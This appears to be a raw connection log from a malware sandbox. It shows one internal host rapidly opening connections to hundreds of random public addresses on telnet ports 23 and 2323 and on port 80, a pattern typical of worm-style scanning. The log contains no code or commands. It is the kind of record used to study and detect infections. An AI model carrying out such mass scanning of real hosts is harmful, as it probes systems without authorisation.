Mar 4, 2024 15:05:35.168746948 CET	50393	2323	192.168.2.13	168.99.124.19
Mar 4, 2024 15:05:35.168746948 CET	48089	80	192.168.2.13	95.200.125.116
Mar 4, 2024 15:05:35.168749094 CET	50393	23	192.168.2.13	120.119.107.240
Mar 4, 2024 15:05:35.168746948 CET	50393	23	192.168.2.13	191.176.234.224
Mar 4, 2024 15:05:35.168749094 CET	50393	23	192.168.2.13	80.149.222.138
Mar 4, 2024 15:05:35.168751955 CET	50393	23	192.168.2.13	203.76.214.193
Mar 4, 2024 15:05:35.168746948 CET	50393	23	192.168.2.13	211.243.129.67
Mar 4, 2024 15:05:35.168751955 CET	50393	23	192.168.2.13	153.146.157.127
Mar 4, 2024 15:05:35.168746948 CET	50393	23	192.168.2.13	76.167.14.115
Mar 4, 2024 15:05:35.168754101 CET	50393	23	192.168.2.13	48.142.156.113
Mar 4, 2024 15:05:35.168751955 CET	50393	23	192.168.2.13	45.135.14.138
Mar 4, 2024 15:05:35.168746948 CET	50393	23	192.168.2.13	207.6.191.163
Mar 4, 2024 15:05:35.168751955 CET	50393	23	192.168.2.13	200.4.112.184
Mar 4, 2024 15:05:35.168749094 CET	50393	23	192.168.2.13	63.92.45.95
Mar 4, 2024 15:05:35.168746948 CET	50393	23	192.168.2.13	104.185.212.251
Mar 4, 2024 15:05:35.168749094 CET	50393	23	192.168.2.13	106.130.213.104
Mar 4, 2024 15:05:35.168754101 CET	50393	23	192.168.2.13	58.7.69.163
Mar 4, 2024 15:05:35.168751955 CET	48089	80	192.168.2.13	95.61.236.18
Mar 4, 2024 15:05:35.168754101 CET	50393	23	192.168.2.13	91.243.133.162
Mar 4, 2024 15:05:35.168751955 CET	48089	80	192.168.2.13	95.104.242.251
Mar 4, 2024 15:05:35.168755054 CET	50393	23	192.168.2.13	119.188.145.40
Mar 4, 2024 15:05:35.168761015 CET	48089	80	192.168.2.13	95.40.206.191
Mar 4, 2024 15:05:35.168755054 CET	50393	2323	192.168.2.13	209.242.205.47
Mar 4, 2024 15:05:35.168761015 CET	48089	80	192.168.2.13	95.116.52.15
Mar 4, 2024 15:05:35.168749094 CET	48089	80	192.168.2.13	95.245.18.80
Mar 4, 2024 15:05:35.168751955 CET	48089	80	192.168.2.13	95.149.33.24
Mar 4, 2024 15:05:35.168751001 CET	48089	80	192.168.2.13	95.34.137.62
Mar 4, 2024 15:05:35.168749094 CET	50393	23	192.168.2.13	166.8.43.99
Mar 4, 2024 15:05:35.168761015 CET	50393	23	192.168.2.13	105.19.230.47
Mar 4, 2024 15:05:35.168755054 CET	48089	80	192.168.2.13	95.132.68.100
Mar 4, 2024 15:05:35.168761015 CET	48089	80	192.168.2.13	95.71.83.250
Mar 4, 2024 15:05:35.168755054 CET	50393	23	192.168.2.13	207.107.252.114
Mar 4, 2024 15:05:35.168776989 CET	50393	2323	192.168.2.13	68.128.241.206
Mar 4, 2024 15:05:35.168755054 CET	48089	80	192.168.2.13	95.160.39.139
Mar 4, 2024 15:05:35.168751955 CET	50393	23	192.168.2.13	40.188.96.193
Mar 4, 2024 15:05:35.168754101 CET	50393	23	192.168.2.13	159.242.152.20
Mar 4, 2024 15:05:35.168749094 CET	48089	80	192.168.2.13	95.202.38.140
Mar 4, 2024 15:05:35.168776989 CET	50393	23	192.168.2.13	149.246.84.208
Mar 4, 2024 15:05:35.168754101 CET	48089	80	192.168.2.13	95.50.152.199
Mar 4, 2024 15:05:35.168751001 CET	50393	23	192.168.2.13	184.226.135.18
Mar 4, 2024 15:05:35.168749094 CET	50393	23	192.168.2.13	39.23.228.206
Mar 4, 2024 15:05:35.168761015 CET	48089	80	192.168.2.13	95.255.145.34
Mar 4, 2024 15:05:35.168751001 CET	50393	2323	192.168.2.13	145.116.222.86
Mar 4, 2024 15:05:35.168754101 CET	50393	23	192.168.2.13	35.217.73.197
Mar 4, 2024 15:05:35.168755054 CET	50393	23	192.168.2.13	100.217.57.18
Mar 4, 2024 15:05:35.168751001 CET	50393	23	192.168.2.13	118.211.192.237
Mar 4, 2024 15:05:35.168776989 CET	48089	80	192.168.2.13	95.10.182.49
Mar 4, 2024 15:05:35.168761015 CET	48089	80	192.168.2.13	95.183.207.128
Mar 4, 2024 15:05:35.168755054 CET	50393	23	192.168.2.13	81.240.196.84
Mar 4, 2024 15:05:35.168776989 CET	50393	23	192.168.2.13	167.179.129.11
Mar 4, 2024 15:05:35.168761015 CET	50393	23	192.168.2.13	17.176.233.102
Mar 4, 2024 15:05:35.168776989 CET	50393	23	192.168.2.13	45.117.86.141
Mar 4, 2024 15:05:35.168754101 CET	50393	23	192.168.2.13	210.144.58.221
Mar 4, 2024 15:05:35.168809891 CET	48089	80	192.168.2.13	95.148.13.10
Mar 4, 2024 15:05:35.168811083 CET	50393	23	192.168.2.13	118.117.168.126
Mar 4, 2024 15:05:35.168751001 CET	50393	23	192.168.2.13	78.179.146.50
Mar 4, 2024 15:05:35.168811083 CET	48089	80	192.168.2.13	95.204.135.181
Mar 4, 2024 15:05:35.168755054 CET	50393	23	192.168.2.13	119.186.29.26
Mar 4, 2024 15:05:35.168776989 CET	48089	80	192.168.2.13	95.96.196.232
Mar 4, 2024 15:05:35.168761015 CET	48089	80	192.168.2.13	95.22.246.141
Mar 4, 2024 15:05:35.168776989 CET	50393	23	192.168.2.13	194.31.58.195
Mar 4, 2024 15:05:35.168811083 CET	48089	80	192.168.2.13	95.106.191.223
Mar 4, 2024 15:05:35.168751001 CET	50393	2323	192.168.2.13	107.190.58.197
Mar 4, 2024 15:05:35.168811083 CET	50393	23	192.168.2.13	205.160.191.81
Mar 4, 2024 15:05:35.168811083 CET	50393	23	192.168.2.13	59.209.203.9
Mar 4, 2024 15:05:35.168811083 CET	48089	80	192.168.2.13	95.45.24.2
Mar 4, 2024 15:05:35.168751001 CET	50393	23	192.168.2.13	132.95.10.253
Mar 4, 2024 15:05:35.168811083 CET	50393	23	192.168.2.13	200.31.211.56
Mar 4, 2024 15:05:35.168751001 CET	48089	80	192.168.2.13	95.146.14.93
Mar 4, 2024 15:05:35.168843031 CET	48089	80	192.168.2.13	95.40.98.55
Mar 4, 2024 15:05:35.168843031 CET	50393	23	192.168.2.13	155.72.224.120
Mar 4, 2024 15:05:35.168843031 CET	50393	23	192.168.2.13	73.26.130.148
Mar 4, 2024 15:05:35.168843031 CET	50393	23	192.168.2.13	78.198.200.212
Mar 4, 2024 15:05:35.168843031 CET	48089	80	192.168.2.13	95.86.16.98
Mar 4, 2024 15:05:35.168843031 CET	50393	23	192.168.2.13	9.131.18.9
Mar 4, 2024 15:05:35.168843031 CET	48089	80	192.168.2.13	95.55.21.135
Mar 4, 2024 15:05:35.168843031 CET	50393	23	192.168.2.13	133.133.242.170
Mar 4, 2024 15:05:35.168844938 CET	48089	80	192.168.2.13	95.91.156.83
Mar 4, 2024 15:05:35.168844938 CET	50393	23	192.168.2.13	49.113.231.243
Mar 4, 2024 15:05:35.168844938 CET	48089	80	192.168.2.13	95.178.107.211
Mar 4, 2024 15:05:35.168844938 CET	48089	80	192.168.2.13	95.210.11.197
Mar 4, 2024 15:05:35.168845892 CET	50393	23	192.168.2.13	105.240.205.166
Mar 4, 2024 15:05:35.168845892 CET	50393	23	192.168.2.13	186.181.8.104
Mar 4, 2024 15:05:35.168845892 CET	50393	23	192.168.2.13	222.166.195.81
Mar 4, 2024 15:05:35.168845892 CET	50393	23	192.168.2.13	136.208.22.153
Mar 4, 2024 15:05:35.168889999 CET	48089	80	192.168.2.13	95.164.170.75
Mar 4, 2024 15:05:35.168889999 CET	50393	23	192.168.2.13	122.129.100.151
Mar 4, 2024 15:05:35.168889999 CET	50393	23	192.168.2.13	149.249.78.44
Mar 4, 2024 15:05:35.168889999 CET	48089	80	192.168.2.13	95.188.43.13
Mar 4, 2024 15:05:35.168889999 CET	50393	23	192.168.2.13	202.173.136.101
Mar 4, 2024 15:05:35.168889999 CET	50393	2323	192.168.2.13	204.33.201.153
Mar 4, 2024 15:05:35.168889999 CET	48089	80	192.168.2.13	95.31.100.117
Mar 4, 2024 15:05:35.168889999 CET	50393	23	192.168.2.13	154.110.145.35
Mar 4, 2024 15:05:35.168900013 CET	48089	80	192.168.2.13	95.69.253.99
Mar 4, 2024 15:05:35.168900013 CET	48089	80	192.168.2.13	95.159.128.167
Mar 4, 2024 15:05:35.168900013 CET	50393	2323	192.168.2.13	186.187.95.131
Mar 4, 2024 15:05:35.168900013 CET	48089	80	192.168.2.13	95.121.30.150
Mar 4, 2024 15:05:35.168900013 CET	50393	23	192.168.2.13	67.50.4.56
Mar 4, 2024 15:05:35.168900013 CET	48089	80	192.168.2.13	95.96.167.167
Mar 4, 2024 15:05:35.168900013 CET	50393	23	192.168.2.13	200.119.92.97
Mar 4, 2024 15:05:35.168900013 CET	48089	80	192.168.2.13	95.70.216.139
Mar 4, 2024 15:05:35.168927908 CET	50393	23	192.168.2.13	206.215.166.246
Mar 4, 2024 15:05:35.168927908 CET	50393	23	192.168.2.13	61.208.83.220
Mar 4, 2024 15:05:35.168927908 CET	50393	23	192.168.2.13	141.239.90.254
Mar 4, 2024 15:05:35.168927908 CET	50393	23	192.168.2.13	69.158.94.11
Mar 4, 2024 15:05:35.168927908 CET	48089	80	192.168.2.13	95.119.188.188
Mar 4, 2024 15:05:35.168929100 CET	50393	23	192.168.2.13	53.62.220.95
Mar 4, 2024 15:05:35.168929100 CET	48089	80	192.168.2.13	95.190.225.28
Mar 4, 2024 15:05:35.168929100 CET	50393	23	192.168.2.13	131.230.51.30
Mar 4, 2024 15:05:35.168932915 CET	50393	23	192.168.2.13	148.163.234.20
Mar 4, 2024 15:05:35.168932915 CET	48089	80	192.168.2.13	95.101.11.208
Mar 4, 2024 15:05:35.168932915 CET	48089	80	192.168.2.13	95.117.221.109
Mar 4, 2024 15:05:35.168932915 CET	50393	2323	192.168.2.13	51.139.208.175
Mar 4, 2024 15:05:35.168932915 CET	48089	80	192.168.2.13	95.175.114.114
Mar 4, 2024 15:05:35.168932915 CET	50393	23	192.168.2.13	139.79.30.77
Mar 4, 2024 15:05:35.168936968 CET	50393	2323	192.168.2.13	34.183.175.122
Mar 4, 2024 15:05:35.168932915 CET	48089	80	192.168.2.13	95.87.67.114
Mar 4, 2024 15:05:35.168936968 CET	48089	80	192.168.2.13	95.89.69.77
Mar 4, 2024 15:05:35.168932915 CET	48089	80	192.168.2.13	95.142.7.124
Mar 4, 2024 15:05:35.168936968 CET	50393	23	192.168.2.13	200.222.124.217
Mar 4, 2024 15:05:35.168936968 CET	48089	80	192.168.2.13	95.172.103.146
Mar 4, 2024 15:05:35.168936968 CET	48089	80	192.168.2.13	95.12.119.181
Mar 4, 2024 15:05:35.168936968 CET	48089	80	192.168.2.13	95.43.0.162
Mar 4, 2024 15:05:35.168936968 CET	48089	80	192.168.2.13	95.137.157.29
Mar 4, 2024 15:05:35.168936968 CET	48089	80	192.168.2.13	95.27.47.87
Mar 4, 2024 15:05:35.168982983 CET	48089	80	192.168.2.13	95.219.117.131
Mar 4, 2024 15:05:35.168982983 CET	48089	80	192.168.2.13	95.136.48.140
Mar 4, 2024 15:05:35.168982983 CET	50393	23	192.168.2.13	79.222.66.150
Mar 4, 2024 15:05:35.168982983 CET	50393	23	192.168.2.13	97.77.11.71
Mar 4, 2024 15:05:35.168982983 CET	50393	23	192.168.2.13	179.24.139.222
Mar 4, 2024 15:05:35.168982983 CET	50393	23	192.168.2.13	63.225.233.143
Mar 4, 2024 15:05:35.168982983 CET	50393	2323	192.168.2.13	170.221.192.93
Mar 4, 2024 15:05:35.168982983 CET	50393	23	192.168.2.13	87.1.200.190
Mar 4, 2024 15:05:35.168987036 CET	50393	23	192.168.2.13	2.121.82.164
Mar 4, 2024 15:05:35.168987036 CET	48089	80	192.168.2.13	95.221.180.80
Mar 4, 2024 15:05:35.168987989 CET	50393	23	192.168.2.13	121.131.243.247
Mar 4, 2024 15:05:35.168987036 CET	48089	80	192.168.2.13	95.12.137.170
Mar 4, 2024 15:05:35.168987989 CET	50393	23	192.168.2.13	178.216.178.49
Mar 4, 2024 15:05:35.168987036 CET	48089	80	192.168.2.13	95.184.169.109
Mar 4, 2024 15:05:35.168987989 CET	50393	23	192.168.2.13	184.177.73.148
Mar 4, 2024 15:05:35.168987036 CET	50393	23	192.168.2.13	199.193.179.190
Mar 4, 2024 15:05:35.168987989 CET	50393	23	192.168.2.13	43.111.23.67
Mar 4, 2024 15:05:35.168987036 CET	48089	80	192.168.2.13	95.50.146.200
Mar 4, 2024 15:05:35.168987989 CET	50393	23	192.168.2.13	176.244.45.232
Mar 4, 2024 15:05:35.168987036 CET	50393	23	192.168.2.13	34.226.95.29
Mar 4, 2024 15:05:35.168987989 CET	50393	23	192.168.2.13	137.104.121.92
Mar 4, 2024 15:05:35.168987036 CET	50393	23	192.168.2.13	203.156.93.162
Mar 4, 2024 15:05:35.168987989 CET	48089	80	192.168.2.13	95.228.66.4
Mar 4, 2024 15:05:35.168987989 CET	48089	80	192.168.2.13	95.21.52.124
Mar 4, 2024 15:05:35.169028044 CET	48089	80	192.168.2.13	95.193.41.252
Mar 4, 2024 15:05:35.169028044 CET	50393	23	192.168.2.13	12.215.69.61
Mar 4, 2024 15:05:35.169028044 CET	48089	80	192.168.2.13	95.75.40.229
Mar 4, 2024 15:05:35.169033051 CET	50393	23	192.168.2.13	183.80.213.142
Mar 4, 2024 15:05:35.169028044 CET	50393	2323	192.168.2.13	60.38.18.120
Mar 4, 2024 15:05:35.169033051 CET	50393	23	192.168.2.13	169.68.220.159
Mar 4, 2024 15:05:35.169033051 CET	50393	23	192.168.2.13	217.2.221.85
Mar 4, 2024 15:05:35.169033051 CET	50393	23	192.168.2.13	183.53.213.60
Mar 4, 2024 15:05:35.169033051 CET	50393	23	192.168.2.13	152.254.244.29
Mar 4, 2024 15:05:35.169033051 CET	48089	80	192.168.2.13	95.46.134.202
Mar 4, 2024 15:05:35.169034004 CET	50393	23	192.168.2.13	113.100.10.195
Mar 4, 2024 15:05:35.169034004 CET	50393	23	192.168.2.13	161.170.194.119
Mar 4, 2024 15:05:35.169028997 CET	50393	23	192.168.2.13	87.43.108.175
Mar 4, 2024 15:05:35.169028997 CET	50393	23	192.168.2.13	155.138.165.40
Mar 4, 2024 15:05:35.169028997 CET	50393	23	192.168.2.13	102.121.138.16
Mar 4, 2024 15:05:35.169043064 CET	50393	23	192.168.2.13	13.32.75.125
Mar 4, 2024 15:05:35.169028997 CET	50393	23	192.168.2.13	92.212.253.180
Mar 4, 2024 15:05:35.169043064 CET	50393	2323	192.168.2.13	36.181.170.31
Mar 4, 2024 15:05:35.169043064 CET	50393	2323	192.168.2.13	1.182.83.111
Mar 4, 2024 15:05:35.169043064 CET	50393	23	192.168.2.13	46.37.243.197
Mar 4, 2024 15:05:35.169043064 CET	50393	23	192.168.2.13	173.89.59.238
Mar 4, 2024 15:05:35.169043064 CET	48089	80	192.168.2.13	95.157.76.250
Mar 4, 2024 15:05:35.169043064 CET	50393	23	192.168.2.13	149.175.75.12
Mar 4, 2024 15:05:35.169043064 CET	48089	80	192.168.2.13	95.66.24.100
Mar 4, 2024 15:05:35.169068098 CET	48089	80	192.168.2.13	95.14.17.121
Mar 4, 2024 15:05:35.169068098 CET	50393	23	192.168.2.13	203.90.185.226
Mar 4, 2024 15:05:35.169068098 CET	48089	80	192.168.2.13	95.20.21.30
Mar 4, 2024 15:05:35.169068098 CET	50393	23	192.168.2.13	8.59.91.59
Mar 4, 2024 15:05:35.169068098 CET	50393	23	192.168.2.13	188.121.153.180
Mar 4, 2024 15:05:35.169068098 CET	50393	23	192.168.2.13	141.12.231.228
Mar 4, 2024 15:05:35.169068098 CET	50393	23	192.168.2.13	70.89.69.62
Mar 4, 2024 15:05:35.169068098 CET	48089	80	192.168.2.13	95.174.211.210
Mar 4, 2024 15:05:35.169073105 CET	50393	23	192.168.2.13	138.164.229.125
Mar 4, 2024 15:05:35.169073105 CET	50393	23	192.168.2.13	25.63.196.133
Mar 4, 2024 15:05:35.169073105 CET	50393	23	192.168.2.13	164.72.58.96
Mar 4, 2024 15:05:35.169073105 CET	48089	80	192.168.2.13	95.225.220.197
Mar 4, 2024 15:05:35.169073105 CET	48089	80	192.168.2.13	95.109.89.56
Mar 4, 2024 15:05:35.169073105 CET	48089	80	192.168.2.13	95.81.127.255
Mar 4, 2024 15:05:35.169073105 CET	50393	23	192.168.2.13	42.216.214.227
Mar 4, 2024 15:05:35.169073105 CET	48089	80	192.168.2.13	95.146.88.79
Mar 4, 2024 15:05:35.169080019 CET	50393	23	192.168.2.13	191.211.213.253
Mar 4, 2024 15:05:35.169080019 CET	48089	80	192.168.2.13	95.68.26.90
Mar 4, 2024 15:05:35.169080019 CET	50393	2323	192.168.2.13	52.152.108.54
Mar 4, 2024 15:05:35.169080019 CET	50393	23	192.168.2.13	189.165.30.197
Mar 4, 2024 15:05:35.169080019 CET	48089	80	192.168.2.13	95.74.200.192
Mar 4, 2024 15:05:35.169080019 CET	50393	23	192.168.2.13	125.125.21.93
Mar 4, 2024 15:05:35.169080019 CET	50393	23	192.168.2.13	138.19.14.154
Mar 4, 2024 15:05:35.169080019 CET	48089	80	192.168.2.13	95.2.222.191
Mar 4, 2024 15:05:35.169107914 CET	50393	23	192.168.2.13	170.177.242.219
Mar 4, 2024 15:05:35.169107914 CET	50393	23	192.168.2.13	171.238.28.170
Mar 4, 2024 15:05:35.169107914 CET	48089	80	192.168.2.13	95.198.144.201
Mar 4, 2024 15:05:35.169107914 CET	48089	80	192.168.2.13	95.246.184.212
Mar 4, 2024 15:05:35.169107914 CET	50393	23	192.168.2.13	62.16.114.26
Mar 4, 2024 15:05:35.169109106 CET	50393	2323	192.168.2.13	93.177.3.147
Mar 4, 2024 15:05:35.169109106 CET	48089	80	192.168.2.13	95.218.32.231
Mar 4, 2024 15:05:35.169109106 CET	50393	23	192.168.2.13	94.137.249.144
Mar 4, 2024 15:05:35.169138908 CET	48089	80	192.168.2.13	95.46.82.219
Mar 4, 2024 15:05:35.169138908 CET	50393	23	192.168.2.13	61.236.100.208
Mar 4, 2024 15:05:35.169138908 CET	50393	23	192.168.2.13	157.56.147.185
Mar 4, 2024 15:05:35.169138908 CET	50393	23	192.168.2.13	63.215.216.193
Mar 4, 2024 15:05:35.169140100 CET	50393	23	192.168.2.13	102.153.124.218
Mar 4, 2024 15:05:35.169140100 CET	50393	23	192.168.2.13	209.206.210.61
Mar 4, 2024 15:05:35.169140100 CET	50393	23	192.168.2.13	111.223.88.144
Mar 4, 2024 15:05:35.169140100 CET	50393	23	192.168.2.13	34.37.25.194
Mar 4, 2024 15:05:35.169142962 CET	48089	80	192.168.2.13	95.62.3.80
Mar 4, 2024 15:05:35.169142962 CET	50393	23	192.168.2.13	63.191.109.90
Mar 4, 2024 15:05:35.169142962 CET	50393	23	192.168.2.13	98.53.183.175
Mar 4, 2024 15:05:35.169143915 CET	50393	23	192.168.2.13	86.112.21.229
Mar 4, 2024 15:05:35.169143915 CET	50393	23	192.168.2.13	54.114.253.112
Mar 4, 2024 15:05:35.169143915 CET	50393	23	192.168.2.13	206.63.65.187
Mar 4, 2024 15:05:35.169143915 CET	50393	23	192.168.2.13	93.205.89.175
Mar 4, 2024 15:05:35.169143915 CET	48089	80	192.168.2.13	95.98.101.196
Mar 4, 2024 15:05:35.169148922 CET	48089	80	192.168.2.13	95.182.249.170
Mar 4, 2024 15:05:35.169148922 CET	50393	23	192.168.2.13	77.34.136.79
Mar 4, 2024 15:05:35.169148922 CET	48089	80	192.168.2.13	95.199.235.5
Mar 4, 2024 15:05:35.169148922 CET	50393	2323	192.168.2.13	23.255.79.103
Mar 4, 2024 15:05:35.169148922 CET	50393	23	192.168.2.13	163.228.139.63
Mar 4, 2024 15:05:35.169148922 CET	50393	23	192.168.2.13	207.30.70.172
Mar 4, 2024 15:05:35.169148922 CET	48089	80	192.168.2.13	95.62.43.12
Mar 4, 2024 15:05:35.169148922 CET	48089	80	192.168.2.13	95.169.149.183
Mar 4, 2024 15:05:35.169162035 CET	50393	23	192.168.2.13	118.57.38.180
Mar 4, 2024 15:05:35.169162035 CET	50393	23	192.168.2.13	112.198.39.130
Mar 4, 2024 15:05:35.169162035 CET	48089	80	192.168.2.13	95.248.81.152
Mar 4, 2024 15:05:35.169162035 CET	50393	23	192.168.2.13	63.104.163.25
Mar 4, 2024 15:05:35.169162035 CET	48089	80	192.168.2.13	95.22.238.15
Mar 4, 2024 15:05:35.169162035 CET	48089	80	192.168.2.13	95.39.33.150
Mar 4, 2024 15:05:35.169162035 CET	50393	23	192.168.2.13	141.106.247.224
Mar 4, 2024 15:05:35.169162035 CET	50393	23	192.168.2.13	171.87.246.235
Mar 4, 2024 15:05:35.169184923 CET	48089	80	192.168.2.13	95.40.70.168
Mar 4, 2024 15:05:35.169184923 CET	50393	23	192.168.2.13	89.209.236.116
Mar 4, 2024 15:05:35.169184923 CET	50393	23	192.168.2.13	9.99.219.218
Mar 4, 2024 15:05:35.169184923 CET	50393	23	192.168.2.13	67.140.251.21
Mar 4, 2024 15:05:35.169188023 CET	48089	80	192.168.2.13	95.97.0.173
Mar 4, 2024 15:05:35.169188023 CET	48089	80	192.168.2.13	95.122.174.211
Mar 4, 2024 15:05:35.169188023 CET	50393	23	192.168.2.13	25.28.191.116
Mar 4, 2024 15:05:35.169188023 CET	50393	23	192.168.2.13	158.181.144.61
Mar 4, 2024 15:05:35.169188023 CET	50393	23	192.168.2.13	92.176.108.16
Mar 4, 2024 15:05:35.169188023 CET	48089	80	192.168.2.13	95.54.68.127
Mar 4, 2024 15:05:35.169188023 CET	48089	80	192.168.2.13	95.196.119.88
Mar 4, 2024 15:05:35.169188023 CET	50393	23	192.168.2.13	156.36.215.55
Mar 4, 2024 15:05:35.169241905 CET	48089	80	192.168.2.13	95.180.12.77
Mar 4, 2024 15:05:35.169241905 CET	50393	23	192.168.2.13	69.70.50.123
Mar 4, 2024 15:05:35.169241905 CET	50393	23	192.168.2.13	134.122.123.96
Mar 4, 2024 15:05:35.169241905 CET	50393	23	192.168.2.13	73.188.83.13
Mar 4, 2024 15:05:35.169241905 CET	50393	23	192.168.2.13	121.158.221.57
Mar 4, 2024 15:05:35.169241905 CET	50393	2323	192.168.2.13	2.228.135.65
Mar 4, 2024 15:05:35.169241905 CET	48089	80	192.168.2.13	95.2.68.219
Mar 4, 2024 15:05:35.169241905 CET	50393	23	192.168.2.13	80.125.5.158
Mar 4, 2024 15:05:35.169249058 CET	48089	80	192.168.2.13	95.150.177.76
Mar 4, 2024 15:05:35.169249058 CET	50393	23	192.168.2.13	179.215.37.251
Mar 4, 2024 15:05:35.169249058 CET	48089	80	192.168.2.13	95.107.202.164
Mar 4, 2024 15:05:35.169249058 CET	50393	23	192.168.2.13	81.94.158.178
Mar 4, 2024 15:05:35.169249058 CET	50393	23	192.168.2.13	74.218.178.173
Mar 4, 2024 15:05:35.169249058 CET	48089	80	192.168.2.13	95.116.155.253
Mar 4, 2024 15:05:35.169249058 CET	50393	2323	192.168.2.13	108.195.225.166
Mar 4, 2024 15:05:35.169249058 CET	50393	23	192.168.2.13	101.1.178.62
Mar 4, 2024 15:05:35.169256926 CET	50393	23	192.168.2.13	202.125.143.201
Mar 4, 2024 15:05:35.169256926 CET	50393	23	192.168.2.13	202.252.218.77
Mar 4, 2024 15:05:35.169256926 CET	50393	23	192.168.2.13	75.68.33.149
Mar 4, 2024 15:05:35.169256926 CET	50393	23	192.168.2.13	67.176.195.234
Mar 4, 2024 15:05:35.169256926 CET	50393	23	192.168.2.13	187.19.230.48
Mar 4, 2024 15:05:35.169256926 CET	50393	23	192.168.2.13	161.92.201.214
Mar 4, 2024 15:05:35.169256926 CET	50393	23	192.168.2.13	75.70.5.147
Mar 4, 2024 15:05:35.169256926 CET	50393	23	192.168.2.13	46.169.198.139
Mar 4, 2024 15:05:35.169261932 CET	50393	23	192.168.2.13	42.27.244.14
Mar 4, 2024 15:05:35.169261932 CET	50393	23	192.168.2.13	74.188.234.178
Mar 4, 2024 15:05:35.169261932 CET	48089	80	192.168.2.13	95.234.171.204
Mar 4, 2024 15:05:35.169261932 CET	50393	23	192.168.2.13	96.242.224.249
Mar 4, 2024 15:05:35.169261932 CET	50393	23	192.168.2.13	39.47.193.23
Mar 4, 2024 15:05:35.169261932 CET	50393	23	192.168.2.13	138.39.166.168
Mar 4, 2024 15:05:35.169261932 CET	50393	23	192.168.2.13	207.70.201.24
Mar 4, 2024 15:05:35.169261932 CET	48089	80	192.168.2.13	95.32.234.61
Mar 4, 2024 15:05:35.169270992 CET	48089	80	192.168.2.13	95.94.84.163
Mar 4, 2024 15:05:35.169270992 CET	50393	23	192.168.2.13	41.142.103.22
Mar 4, 2024 15:05:35.169270992 CET	48089	80	192.168.2.13	95.184.114.199
Mar 4, 2024 15:05:35.169270992 CET	50393	23	192.168.2.13	208.77.7.7
Mar 4, 2024 15:05:35.169272900 CET	50393	23	192.168.2.13	223.64.22.236
Mar 4, 2024 15:05:35.169270992 CET	50393	23	192.168.2.13	138.102.158.166
Mar 4, 2024 15:05:35.169272900 CET	50393	23	192.168.2.13	191.65.120.97
Mar 4, 2024 15:05:35.169270992 CET	48089	80	192.168.2.13	95.226.125.160
Mar 4, 2024 15:05:35.169272900 CET	50393	2323	192.168.2.13	143.31.136.171
Mar 4, 2024 15:05:35.169270992 CET	50393	23	192.168.2.13	142.17.19.19
Mar 4, 2024 15:05:35.169272900 CET	48089	80	192.168.2.13	95.139.232.136
Mar 4, 2024 15:05:35.169270992 CET	50393	23	192.168.2.13	195.240.5.45
Mar 4, 2024 15:05:35.169272900 CET	50393	23	192.168.2.13	97.74.217.2
Mar 4, 2024 15:05:35.169272900 CET	50393	23	192.168.2.13	24.155.143.33
Mar 4, 2024 15:05:35.169272900 CET	50393	23	192.168.2.13	120.238.121.72
Mar 4, 2024 15:05:35.169272900 CET	48089	80	192.168.2.13	95.178.21.244
Mar 4, 2024 15:05:35.169317961 CET	50393	23	192.168.2.13	137.206.159.174
Mar 4, 2024 15:05:35.169317961 CET	50393	2323	192.168.2.13	44.82.197.42
Mar 4, 2024 15:05:35.169317961 CET	50393	23	192.168.2.13	153.200.159.33
Mar 4, 2024 15:05:35.169317961 CET	50393	2323	192.168.2.13	112.133.223.246
Mar 4, 2024 15:05:35.169317961 CET	50393	23	192.168.2.13	94.123.241.229
Mar 4, 2024 15:05:35.169317961 CET	50393	23	192.168.2.13	27.180.250.15
Mar 4, 2024 15:05:35.169317961 CET	48089	80	192.168.2.13	95.147.158.98
Mar 4, 2024 15:05:35.169317961 CET	50393	23	192.168.2.13	195.169.65.246
Mar 4, 2024 15:05:35.169332981 CET	50393	23	192.168.2.13	209.106.224.193
Mar 4, 2024 15:05:35.169332981 CET	50393	23	192.168.2.13	60.248.15.134
Mar 4, 2024 15:05:35.169332981 CET	50393	23	192.168.2.13	186.140.18.186
Mar 4, 2024 15:05:35.169332981 CET	50393	23	192.168.2.13	46.62.109.106
Mar 4, 2024 15:05:35.169332981 CET	50393	2323	192.168.2.13	182.24.30.3
Mar 4, 2024 15:05:35.169341087 CET	50393	23	192.168.2.13	77.53.22.112
Mar 4, 2024 15:05:35.169341087 CET	48089	80	192.168.2.13	95.82.170.11
Mar 4, 2024 15:05:35.169341087 CET	50393	23	192.168.2.13	49.223.129.58
Mar 4, 2024 15:05:35.169341087 CET	48089	80	192.168.2.13	95.16.6.231
Mar 4, 2024 15:05:35.169341087 CET	48089	80	192.168.2.13	95.4.94.200
Mar 4, 2024 15:05:35.169346094 CET	50393	2323	192.168.2.13	191.52.106.25
Mar 4, 2024 15:05:35.169341087 CET	48089	80	192.168.2.13	95.141.36.105
Mar 4, 2024 15:05:35.169346094 CET	50393	23	192.168.2.13	173.73.77.111
Mar 4, 2024 15:05:35.169341087 CET	50393	23	192.168.2.13	59.221.135.122
Mar 4, 2024 15:05:35.169346094 CET	50393	23	192.168.2.13	73.171.196.7
Mar 4, 2024 15:05:35.169342041 CET	50393	23	192.168.2.13	191.253.224.195
Mar 4, 2024 15:05:35.169346094 CET	50393	23	192.168.2.13	23.167.15.73
Mar 4, 2024 15:05:35.169346094 CET	37588	23	192.168.2.13	163.18.83.252
Mar 4, 2024 15:05:35.169367075 CET	50393	2323	192.168.2.13	47.17.170.90
Mar 4, 2024 15:05:35.169367075 CET	50393	23	192.168.2.13	159.22.253.246
Mar 4, 2024 15:05:35.169367075 CET	50393	23	192.168.2.13	104.227.186.68
Mar 4, 2024 15:05:35.169367075 CET	48089	80	192.168.2.13	95.206.205.10
Mar 4, 2024 15:05:35.169367075 CET	50393	23	192.168.2.13	176.224.1.119
Mar 4, 2024 15:05:35.169367075 CET	50393	23	192.168.2.13	79.149.147.43
Mar 4, 2024 15:05:35.169387102 CET	50393	23	192.168.2.13	48.114.202.26
Mar 4, 2024 15:05:35.169387102 CET	48089	80	192.168.2.13	95.249.93.141
Mar 4, 2024 15:05:35.169387102 CET	50393	23	192.168.2.13	186.196.51.112
Mar 4, 2024 15:05:35.169387102 CET	50393	2323	192.168.2.13	163.71.219.38
Mar 4, 2024 15:05:35.169403076 CET	48089	80	192.168.2.13	95.11.150.132
Mar 4, 2024 15:05:35.169403076 CET	50393	23	192.168.2.13	8.205.131.30
Mar 4, 2024 15:05:35.169403076 CET	48089	80	192.168.2.13	95.126.227.253
Mar 4, 2024 15:05:35.169404030 CET	50393	23	192.168.2.13	155.240.72.182
Mar 4, 2024 15:05:35.169404030 CET	48089	80	192.168.2.13	95.63.242.166
Mar 4, 2024 15:05:35.169404030 CET	48089	80	192.168.2.13	95.23.213.198
Mar 4, 2024 15:05:35.169404030 CET	50393	23	192.168.2.13	169.84.68.251
